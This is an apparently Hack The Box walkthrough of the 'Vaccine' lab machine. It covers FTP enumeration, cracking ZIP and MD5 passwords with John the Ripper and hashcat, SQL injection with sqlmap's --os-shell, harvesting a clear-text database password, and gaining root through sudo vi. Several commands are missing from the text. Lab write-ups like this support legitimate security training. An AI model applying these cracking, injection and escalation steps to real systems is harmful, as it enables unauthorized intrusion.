Vaccine
Vaccine
Vaccine
Introduction
Penetration testing is not simple, it requires lots of technical knowledge and the capability to think outside
of the box. Sometimes you will find simple yet dangerous vulnerabilities, other times you will find
vulnerabilities where public exploits exists which you can use to get easy access to the system. The reality is,
most of the times you will need to have many different vulnerabilities and misconfiguration where you will
have to chain them all together in order to access the system of the target machine, or you will have a
system that doesn't have vulnerabilities, but it has a weak password which might grant you access to the
system. Vaccine is the machine that teaches us how enumeration is always the key, even if the system
seems to be secure. Apart from that, it also teaches us how important is password cracking, it's surprising to
know that not everyone has strong passwords.
Enumeration
Just as usual, we start off with the Nmap scan:
There are three ports open: 21 (FTP), 22 (SSH), 80 (HTTP). Since we don't have any credentials for the SSH
service, we will start off with enumeration of the port 21, since the Nmap shows that it allows anonymous
login:
We can see that there is a backup.zip file available, we will download it:
It will be located in the folder from where we established the FTP connection. We will try to unzip it with the
command unzip :
The compressed archive asks us for a password. We will try a couple of basic passwords to see if it will let us
in, however, no luck in it.
We will have to somehow crack the password. The tool we will use for this task is named John the Ripper.
John the Ripper is a free password cracking software tool. Originally developed for the
Unix operating system, it can run on fifteen different platforms (eleven of which are
architecture-specific versions of Unix, DOS, Win32, BeOS, and OpenVMS). It is among the
most frequently used password testing and breaking programs as it combines a number of
password crackers into one package, autodetects password hash types, and includes a
customizable cracker. It can be run against various encrypted password formats
including several crypt password hash types most commonly found on various Unix
versions (based on DES, MD5, or Blowfish), Kerberos AFS, and Windows NT/2000/XP/2003 LM
hash. Additional modules have extended its ability to include MD4-based password hashes
and passwords stored in LDAP, MySQL, and others.
John the Ripper comes pre-installed with Parrot OS & Kali Linux, however, if you don't have it, you can install
it from the repository:
Once you install it, you can type the following command to check how to use it:
In order to successfully crack the password, we will have to convert the ZIP into the hash using the
zip2john module that comes within John the Ripper:
Now, we will type the following command:
john -wordlist=/usr/share/wordlists/rockyou.txt hashes
So it will load the wordlist & it will do a bruteforce attack against the hash stored in file hashes . Once the
password is cracked, we will use the --show option to display the cracked password.
We can see the cracked password: 741852963 . We will extract the files now:
We will try to identify the hash type & crack it with the hashcat:
It provides a huge list of possible hashes, however, we will go with MD5 first:
We will put the hash in a text file called hash & then crack it with hashcat:
Hashcat cracked the password: qwerty789
We will start our web browser to enumerate the port 80, see where can we log in:
We can see the login page, by supplying the previously found username & cracked password, we managed
to log in successfully!
Foothold
So the dashboard has nothing special in it, however, it has a catalogue, which might be connected with the
database. Let's create any query:
By checking the URL, we can see that there is a variable $search which is responsible for searching through
catalogue. We could test it to see if it's SQL injectable, but instead of doing it manually, we will use a tool
called sqlmap .
SQLmap is an open-source tool used in penetration testing to detect and exploit SQL
injection flaws. SQLmap automates the process of detecting and exploiting SQL
injection. SQL Injection attacks can take control of databases that utilize SQL.
The sqlmap comes pre-installed with Parrot OS & Kali Linux, however, you can install it through the
repository if you don't have it:
To grab the cookie, we can intercept any request in Burp Suite & get it from there, however, you can install a
great extension for your web browser called cookie-editor :
For Google:
https://chrome.google.com/webstore/detail/cookie-editor/hlkenndednhfkekhgcdicdfddnkalmdm
For Firefox:
https://addons.mozilla.org/en-US/firefox/addon/cookie-editor/
The cookies in HTTP messages of requests are usually set the following way:
PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1
sqlmap -u 'http://10.129.95.174/dashboard.php?search=any+query' --
cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1"
Note: There will be some questions that the tool will ask you, you can respond with 'Y ' or 'N', or just by pressing
ENTER for the default answer.
Out of this output, the thing that is important to us is the following:
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)?
[y/N]
The tool confirmed that the target is vulnerable to SQL injection, which is everything we needed to know. We
will run the sqlmap once more, where we are going to provide the --os-shell flag, where we will be able
to perform command injection:
We got the shell, however, it is not very stable & interactive. To make it much stable, we will use the
following payload:
We got the foothold. We will quickly make our shell fully interactive:
postgres@vaccine:~$ ls
user.txt
postgres@vaccine:~$
Privilege Escalation
We are user postgres , but we don't know the password for it, which means we cannot check our sudo
privileges:
postgres@vaccine:~$ sudo -l
[sudo] password for postgres:
We will try to find the password in the /var/www/html folder, since the machine uses both PHP & SQL,
meaning that there should be credentials in clear text:
postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/www/html
postgres@vaccine:/var/www/html$ ls -la
total 392
drwxr-xr-x 2 root root 4096 Jul 23 14:00 .
drwxr-xr-x 3 root root 4096 Jul 23 14:00 ..
-rw-rw-r-- 1 root root 362847 Feb 3 2020 bg.png
-rw-r--r-- 1 root root 4723 Feb 3 2020 dashboard.css
-rw-r--r-- 1 root root 50 Jan 30 2020 dashboard.js
-rw-r--r-- 1 root root 2313 Feb 4 2020 dashboard.php
-rw-r--r-- 1 root root 2594 Feb 3 2020 index.php
-rw-r--r-- 1 root root 1100 Jan 30 2020 license.txt
-rw-r--r-- 1 root root 3274 Feb 3 2020 style.css
postgres@vaccine:/var/www/html$
session_start();
if($_SESSION['login'] !== "true") {
header("Location: index.php");
die();
}
try {
$conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres
password=P@s5w0rd!");
}
The password is: P@s5w0rd!
Note that the shell might die all of a sudden, instead of re-doing the exploit all over again, we will use the
SSH to log in:
┌─[ilinor@Parrot]─[~/Vaccine]
└──╼ $ssh [email protected]
The authenticity of host '10.129.95.174 (10.129.95.174)' can't be established.
ECDSA key fingerprint is SHA256:eVsQ4RXbKR9eOZaXSlMmyuKTDOQ39NAb4vD+GOegBvk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.95.174' (ECDSA) to the list of known hosts.
[email protected]'s password: P@s5w0rd!
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
https://ubuntu.com/blog/microk8s-memory-optimisation
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
postgres@vaccine:~$ sudo -l
[sudo] password for postgres:
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
So we have sudo privileges to edit the pg_hba.conf file using vi by running sudo /bin/vi
/etc/postgresql/11/main/pg_hba.conf . We will go to GTFOBins to see if we can abuse this privilege:
https://gtfobins.github.io/gtfobins/vi/#sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated
privileges and may be used to access the file system, escalate or maintain privileged
access.
We are unable to execute the following command because sudo is restricted to only /bin/vi
/etc/postgresql/11/main/pg_hba.conf .
We managed to open the vi editor as the superuser, which has root privileges:
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#
# cd /root
# bash
root@vaccine:~# ls
root.txt
root@vaccine:~#